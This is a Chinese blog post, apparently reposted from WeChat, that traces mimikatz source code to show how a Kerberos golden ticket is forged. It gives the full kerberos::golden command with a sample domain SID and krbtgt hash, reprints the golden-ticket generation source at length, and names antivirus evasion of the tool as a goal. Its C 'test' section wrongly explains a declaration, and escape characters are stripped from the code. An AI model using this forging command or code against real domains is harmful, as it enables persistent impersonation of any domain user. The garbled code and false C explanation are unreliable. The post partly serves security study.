本文作者:蛇皮怪怪
“寒灯相对记畴昔,夜雨何时听萧瑟” --宋*苏轼
项目地址
https://github.com/gentilkiwi/mimikatz
本文是根据黄金票据生成来查看程序整体实现原理
域名称
域的SID值
域的KRBTGT账号的ntlmHash
伪造任意用户名
#使用mimikatz生成黄金票据
#用户名:administrator
#域名:cyber.com
#域sid:S-1-5-21-1923088019-4105411894-1236499359
#krbtgt的ntlmHash:d40f0e3b1347e55dbfd6dc58e80a3b6e
#命令
kerberos::golden /user:XXX任意用户名 /domain:域名 /sid:域的sid值
/ticket:XXX.kirbi(生成的票据名称)
#例子
kerberos::golden /user:administrator /domain:cyber.com
/sid:S-1-5-21-1923088019-4105411894-1236499359
/krbtgt:d40f0e3b1347e55dbfd6dc58e80a3b6e
/ticket:ticket.kirbi
最终生成的文件是一堆二进制信息,文本打开为乱码文件,大小为9M
源码审计
图-mimikatz源码目录
图-与kerberos协议相关源码
接下来从源码调试角度,观察黄金票据的生成过程
图-程序开始执行时的操作
//在mimikatz.c源文件中,如下是程序的起点,需要在此处下断
int wmain(int argc, wchar_t * argv[])
{//argv记录了传入的参数
NTSTATUS status = STATUS_SUCCESS;
int i;
size_t len;
wchar_t input[0xffff];
mimikatz_begin();//显示mimikatz信息
for(i = MIMIKATZ_AUTO_COMMAND_START ; (i < argc) && (status != STATUS_PROCESS_IS_TERMINATING) && (status != STATUS_THREAD_IS_TERMINATING) ; i++)
{//此处循环时执行命令行输入的指令,如果只执行mimikatz没有指令,则跳过该代码
kprintf(L"n" MIMIKATZ L"(" MIMIKATZ_AUTO_COMMAND_STRING L") # %sn", argv[i]);
status = mimikatz_dispatchCommand(argv[i]);
}
while ((status != STATUS_PROCESS_IS_TERMINATING) && (status != STATUS_THREAD_IS_TERMINATING))
{//等待指令执行
kprintf(L"n" MIMIKATZ L" # "); fflush(stdin);//输出"mimikatz #"",并等待输入
if(fgetws(input, ARRAYSIZE(input), stdin) && (len = wcslen(input)) && (input[0] != L'n'))
{
if(input[len - 1] == L'n')//为输入的结果添加结束标记符''
input[len - 1] = L'0';
kprintf_inputline(L"%sn", input);
status = mimikatz_dispatchCommand(input);//开始执行指令
}
}
mimikatz_end(status);
return STATUS_SUCCESS;
}
此时输入准备好的命令
图-开始生成黄金票据
//进入mimikatz_dispatchCommand函数中执行输入的指令
NTSTATUS mimikatz_dispatchCommand(wchar_t * input)
{
NTSTATUS status = STATUS_UNSUCCESSFUL;
PWCHAR full;
if(full = kull_m_file_fullPath(input))//将输入的字符串,复制到新的空间,并将指针赋给full
{
switch(full[0])
{
case L'!'://未知操作
status = kuhl_m_kernel_do(full + 1);
break;
case L'*'://未知操作
status = kuhl_m_rpc_do(full + 1);
break;
default:
status = mimikatz_doLocal(full);//执行输入的指令 <=============重点函数=====
}
LocalFree(full);//将第六行中kull_m_file_fullPath函数分配的空间释放
}
return status;
}
图-模块与模块功能的对应关系
//此时执行到了mimikatz_doLocal函数
NTSTATUS mimikatz_doLocal(wchar_t * input)
{
NTSTATUS status = STATUS_SUCCESS;
int argc;//记录参数个数
//此处的代码非常特殊,二级指针指向了一堆赋值的操作,因此在文章结果做出了测试
wchar_t ** argv = CommandLineToArgvW(input, &argc), *module = NULL, *command = NULL, *match;
unsigned short indexModule, indexCommand;
BOOL moduleFound = FALSE, commandFound = FALSE;
if(argv && (argc > 0))
{//如果传入了参数,则开始执行if
if(match = wcsstr(argv[0], L"::"))
{//wcsstr将参数中的"::golden"分离出来,用于功能查询
if(module = (wchar_t *) LocalAlloc(LPTR, (match - argv[0] + 1) * sizeof(wchar_t)))
{//将::前的字符串提取出来赋值给module
if((unsigned int) (match + 2 - argv[0]) < wcslen(argv[0]))
command = match + 2;
RtlCopyMemory(module, argv[0], (match - argv[0]) * sizeof(wchar_t));
}
}
else command = argv[0];
//================================================
//这一段代码写的很漂亮,for循环与if配合,实现模块和模块功能的查找
//想看明白这段代码,需要了解模块的设计结构,具体结构在下一个代码块有详细介绍
//下述循环的mimikatz_modules记录了程序所存有的模块
for(indexModule = 0; !moduleFound && (indexModule < ARRAYSIZE(mimikatz_modules)); indexModule++)
//遍历每个模块的名称,结构体中shortName记录模块名称(mimikatz_modules是模块结构体的集合)
//文章结尾有模块结构详解
if(moduleFound = (!module || (_wcsicmp(module, mimikatz_modules[indexModule]->shortName) == 0)))
if(command)//当发现对应的功能模块后,开始寻找对应的功能点
for(indexCommand = 0; !commandFound && (indexCommand < mimikatz_modules[indexModule]->nbCommands); indexCommand++)
//遍历模块中的功能点,获取功能点的index值
if(commandFound = _wcsicmp(command, mimikatz_modules[indexModule]->commands[indexCommand].command) == 0)
//找到对应的模块下的对应功能地址,将参数传递进去,因此indexModule和indexCommand不同,就指向不同的功能
//而执行kerberos::golden,需要indexModule=3,indexCommand=5
status = mimikatz_modules[indexModule]->commands[indexCommand].pCommand(argc - 1, argv + 1);
//==============================================
.......省略一部分代码
if(module)
LocalFree(module);
LocalFree(argv);
}
return status;
}
//该数组记录程序中KUHL_M类型的模块地址
const KUHL_M * mimikatz_modules[] = {
&kuhl_m_standard,
&kuhl_m_crypto,
&kuhl_m_sekurlsa,
&kuhl_m_kerberos,//kerberos模块地址
&kuhl_m_ngc,
&kuhl_m_privilege,
&kuhl_m_process,
&kuhl_m_service,
&kuhl_m_lsadump,
&kuhl_m_ts,
&kuhl_m_event,
&kuhl_m_misc,
&kuhl_m_token,
&kuhl_m_vault,
&kuhl_m_minesweeper,
#if defined(NET_MODULE)
&kuhl_m_net,
#endif
&kuhl_m_dpapi,
&kuhl_m_busylight,
&kuhl_m_sysenv,
&kuhl_m_sid,
&kuhl_m_iis,
&kuhl_m_rpc,
&kuhl_m_sr98,
&kuhl_m_rdm,
&kuhl_m_acr,
};
//每一个模块都是一个结构体,具体如下
typedef struct _KUHL_M {
const wchar_t * shortName;//模块名称
const wchar_t * fullName;//包名称
const wchar_t * description;//模块说明
const unsigned short nbCommands;//指令个数
const KUHL_M_C * commands;//一系列指定
const PKUHL_M_C_FUNC_INIT pInit;
const PKUHL_M_C_FUNC_INIT pClean;
} KUHL_M, *PKUHL_M;
//模块的commands记录了模块的功能,也是一个结构体,具体如下
typedef struct _KUHL_M_C {
const PKUHL_M_C_FUNC pCommand;//功能指针,指向功能的实现地址
const wchar_t * command;//功能名称
const wchar_t * description;//功能描述
} KUHL_M_C, *PKUHL_M_C;
//在kerberos功能实现,其中kuhl_m_c_kerberos指向了kuhl_m_c_kerberos[]数组,数组中存储了功能列表
const KUHL_M kuhl_m_kerberos = {//kerberos实现含义,参考上述_KUHL_M结构体
L"kerberos",
L"Kerberos package module",
L"",
ARRAYSIZE(kuhl_m_c_kerberos),//指令个数
kuhl_m_c_kerberos,//指令结构体数组地址
kuhl_m_kerberos_init,
kuhl_m_kerberos_clean}
//功能列表如下
const KUHL_M_C kuhl_m_c_kerberos[] = {
{kuhl_m_kerberos_ptt, L"ptt", L"Pass-the-ticket [NT 6]"},
{kuhl_m_kerberos_list, L"list", L"List ticket(s)"},
{kuhl_m_kerberos_ask, L"ask", L"Ask or get TGS tickets"},
{kuhl_m_kerberos_tgt, L"tgt", L"Retrieve current TGT"},
{kuhl_m_kerberos_purge, L"purge", L"Purge ticket(s)"},
{kuhl_m_kerberos_golden, L"golden", L"Willy Wonka factory"},//index为5
{kuhl_m_kerberos_hash, L"hash", L"Hash password to keys"},
#if defined(KERBEROS_TOOLS)
{kuhl_m_kerberos_decode, L"decrypt", L"Decrypt encoded ticket"},
{kuhl_m_kerberos_pac_info, L"pacinfo", L"Some infos on PAC file"},
#endif
{kuhl_m_kerberos_ccache_ptc, L"ptc", L"Pass-the-ccache [NT6]"},
{kuhl_m_kerberos_ccache_list, L"clist", L"List tickets in MIT/Heimdall ccache"},
};
//终于看到了黄金票据生成函数kuhl_m_kerberos_golden
NTSTATUS kuhl_m_kerberos_golden(int argc, wchar_t * argv[])
{//将kerberos::golden的后序参数传入,本函数中每一个被调函数功能还需要待审计
BYTE key[AES_256_KEY_LENGTH] = {0};
DWORD keyType = 0, i, j, id = 500, nbGroups, nbSids = 0, rodc = 0;
PCWCHAR szUser, szDomain, szService = NULL, szTarget = NULL, szKey = NULL, szLifetime, szSid, szId, szGroups, szSids, szClaims, szRodc, filename;
PWCHAR baseDot, netbiosDomain = NULL;
PISID pSid = NULL;
PGROUP_MEMBERSHIP groups = NULL;
PKERB_SID_AND_ATTRIBUTES sids = NULL;
PCLAIMS_SET pClaimsSet = NULL;
PBERVAL BerApp_KrbCred;
KUHL_M_KERBEROS_LIFETIME_DATA lifeTimeData;
NTSTATUS status;
PKERB_ECRYPT pCSystem;
BOOL isPtt = kull_m_string_args_byName(argc, argv, L"ptt", NULL, NULL);
kull_m_string_args_byName(argc, argv, L"ticket", &filename, L"ticket." MIMIKATZ_KERBEROS_EXT);
if(kull_m_string_args_byName(argc, argv, L"admin", &szUser, NULL) || kull_m_string_args_byName(argc, argv, L"user", &szUser, NULL))
{
if(kull_m_string_args_byName(argc, argv, L"domain", &szDomain, NULL))
{
if(baseDot = wcschr(szDomain, L'.'))
{
if(kull_m_string_args_byName(argc, argv, L"des", &szKey, NULL))
keyType = KERB_ETYPE_DES_CBC_MD5;
else if(kull_m_string_args_byName(argc, argv, L"rc4", &szKey, NULL) || kull_m_string_args_byName(argc, argv, L"krbtgt", &szKey, NULL))
keyType = KERB_ETYPE_RC4_HMAC_NT;
else if(kull_m_string_args_byName(argc, argv, L"aes128", &szKey, NULL))
keyType = KERB_ETYPE_AES128_CTS_HMAC_SHA1_96;
else if(kull_m_string_args_byName(argc, argv, L"aes256", &szKey, NULL))
keyType = KERB_ETYPE_AES256_CTS_HMAC_SHA1_96;
if(szKey)
{
kull_m_string_args_byName(argc, argv, L"service", &szService, NULL);
kull_m_string_args_byName(argc, argv, L"target", &szTarget, NULL);
status = CDLocateCSystem(keyType, &pCSystem);
if(NT_SUCCESS(status))
{
if(kull_m_string_stringToHex(szKey, key, pCSystem->KeySize))
{
kull_m_string_args_byName(argc, argv, L"startoffset", &szLifetime, L"0");
GetSystemTimeAsFileTime(&lifeTimeData.TicketStart);
*(PULONGLONG) &lifeTimeData.TicketStart -= *(PULONGLONG) &lifeTimeData.TicketStart % 10000000 - ((LONGLONG) wcstol(szLifetime, NULL, 0) * 10000000 * 60);
lifeTimeData.TicketRenew = lifeTimeData.TicketEnd = lifeTimeData.TicketStart;
kull_m_string_args_byName(argc, argv, L"endin", &szLifetime, L"5256000"); // ~ 10 years
*(PULONGLONG) &lifeTimeData.TicketEnd += (ULONGLONG) 10000000 * 60 * wcstoul(szLifetime, NULL, 0);
kull_m_string_args_byName(argc, argv, L"renewmax", &szLifetime, szLifetime);
*(PULONGLONG) &lifeTimeData.TicketRenew += (ULONGLONG) 10000000 * 60 * wcstoul(szLifetime, NULL, 0);
kprintf(L"User : %snDomain : %s", szUser, szDomain);
if(kull_m_string_args_byName(argc, argv, L"sid", &szSid, NULL))
{
if(ConvertStringSidToSid(szSid, (PSID *) &pSid))
{
i = (DWORD) ((PBYTE) baseDot - (PBYTE) szDomain);
if(netbiosDomain = (PWCHAR) LocalAlloc(LPTR, i + sizeof(wchar_t)))
for(j = 0; j < i / sizeof(wchar_t); j++)
netbiosDomain[j] = towupper(szDomain[j]);
if(kull_m_string_args_byName(argc, argv, L"id", &szId, NULL))
id = wcstoul(szId, NULL, 0);
kull_m_string_args_byName(argc, argv, L"groups", &szGroups, NULL);
kuhl_m_pac_stringToGroups(szGroups, &groups, &nbGroups);
if(kull_m_string_args_byName(argc, argv, L"sids", &szSids, NULL))
kuhl_m_pac_stringToSids(szSids, &sids, &nbSids);
if(kull_m_string_args_byName(argc, argv, L"claims", &szClaims, NULL))
pClaimsSet = kuhl_m_kerberos_claims_createFromString(szClaims);
if(kull_m_string_args_byName(argc, argv, L"rodc", &szRodc, NULL))
rodc = wcstoul(szRodc, NULL, 0);
kprintf(L" (%s)nSID : %snUser Id : %unGroups Id : *", netbiosDomain, szSid, id);
for(i = 0; i < nbGroups; i++)
kprintf(L"%u ", groups[i].RelativeId);
if(nbSids)
{
kprintf(L"nExtra SIDs: ");
for(i = 0; i < nbSids; i++)
{
kull_m_string_displaySID(sids[i].Sid);
kprintf(L" ; ");
}
}
if(pClaimsSet)
{
kprintf(L"nClaims :n");
kuhl_m_kerberos_claims_displayClaimsSet(pClaimsSet);
}
}
}
kprintf(L"nServiceKey: ");
kull_m_string_wprintf_hex(key, pCSystem->KeySize, 0); kprintf(L" - %sn", kuhl_m_kerberos_ticket_etype(keyType));
if(szService)
kprintf(L"Service : %sn", szService);
if(szTarget)
kprintf(L"Target : %sn", szTarget);
kprintf(L"Lifetime : ");
kull_m_string_displayLocalFileTime(&lifeTimeData.TicketStart); kprintf(L" ; ");
kull_m_string_displayLocalFileTime(&lifeTimeData.TicketEnd); kprintf(L" ; ");
kull_m_string_displayLocalFileTime(&lifeTimeData.TicketRenew); kprintf(L"n");
kprintf(L"-> Ticket : %snn", isPtt ? L"** Pass The Ticket **" : filename);
if(BerApp_KrbCred = kuhl_m_kerberos_golden_data(szUser, szDomain, szService, szTarget, &lifeTimeData, key, pCSystem->KeySize, keyType, pSid, netbiosDomain, id, groups, nbGroups, sids, nbSids, rodc, pClaimsSet))
{
if(isPtt)
{
if(NT_SUCCESS(kuhl_m_kerberos_ptt_data(BerApp_KrbCred->bv_val, BerApp_KrbCred->bv_len)))
kprintf(L"nGolden ticket for '%s @ %s' successfully submitted for current sessionn", szUser, szDomain);
}
else if(kull_m_file_writeData(filename, BerApp_KrbCred->bv_val, BerApp_KrbCred->bv_len))
kprintf(L"nFinal Ticket Saved to file !n");
else PRINT_ERROR_AUTO(L"nkull_m_file_writeData");
ber_bvfree(BerApp_KrbCred);
}
else PRINT_ERROR(L"BerApp_KrbCred errorn");
}
else PRINT_ERROR(L"Krbtgt key size length must be %u (%u bytes) for %sn", pCSystem->KeySize * 2, pCSystem->KeySize, kuhl_m_kerberos_ticket_etype(keyType));
}
else PRINT_ERROR(L"Unable to locate CryptoSystem for ETYPE %u (error 0x%08x) - AES only available on NT6n", keyType, status);
}
else PRINT_ERROR(L"Missing krbtgt key argument (/rc4 or /aes128 or /aes256)n");
}
else PRINT_ERROR(L"Domain name does not look like a FQDNn");
}
else PRINT_ERROR(L"Missing domain argumentn");
}
else PRINT_ERROR(L"Missing user argumentn");
if(pSid)
LocalFree(pSid);
if(netbiosDomain)
LocalFree(netbiosDomain);
if(groups && nbGroups)
LocalFree(groups);
if(sids && nbSids)
{
for(i = 0; i < nbSids; i++)
LocalFree(sids[i].Sid);
LocalFree(sids);
}
if(pClaimsSet)
kuhl_m_kerberos_claims_free(pClaimsSet);
return STATUS_SUCCESS;
}
对上述特殊代码作出测试
//此处的代码非常特殊,二级指针指向了一堆赋值的操作
//wchar_t ** argv = CommandLineToArgvW(input, &argc), *module = NULL, *command = NULL, *match;
/*原因,C语言的不严谨性
被赋值的一级指针必须是全局变量,如果不是全局变量而是局部变量,则无法通过编译
*/
int *fun(){
return (int *)malloc(sizeof(int));
}
int *a ;
int *b ;
int main (){
int ** arr = fun(),a = NULL,b = NULL;
}
总结
-
mimikatz是一款强大的内网工具,集成了大部分常用内网渗透功能
-
该应用的每一个功能的实现代码都值得花时间审计学习,在审计过程中能很好地学习作者的编码思路和底层原理
-
如果想要对该程序进行手动免杀操作,了解程序的架构是必不可少
学习使用 请勿违法测试用途,转载标明来源即可.
原文始发于微信公众号(0x00实验室):从黄金票据的生成分析Mimikatz工具底层工作原理
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论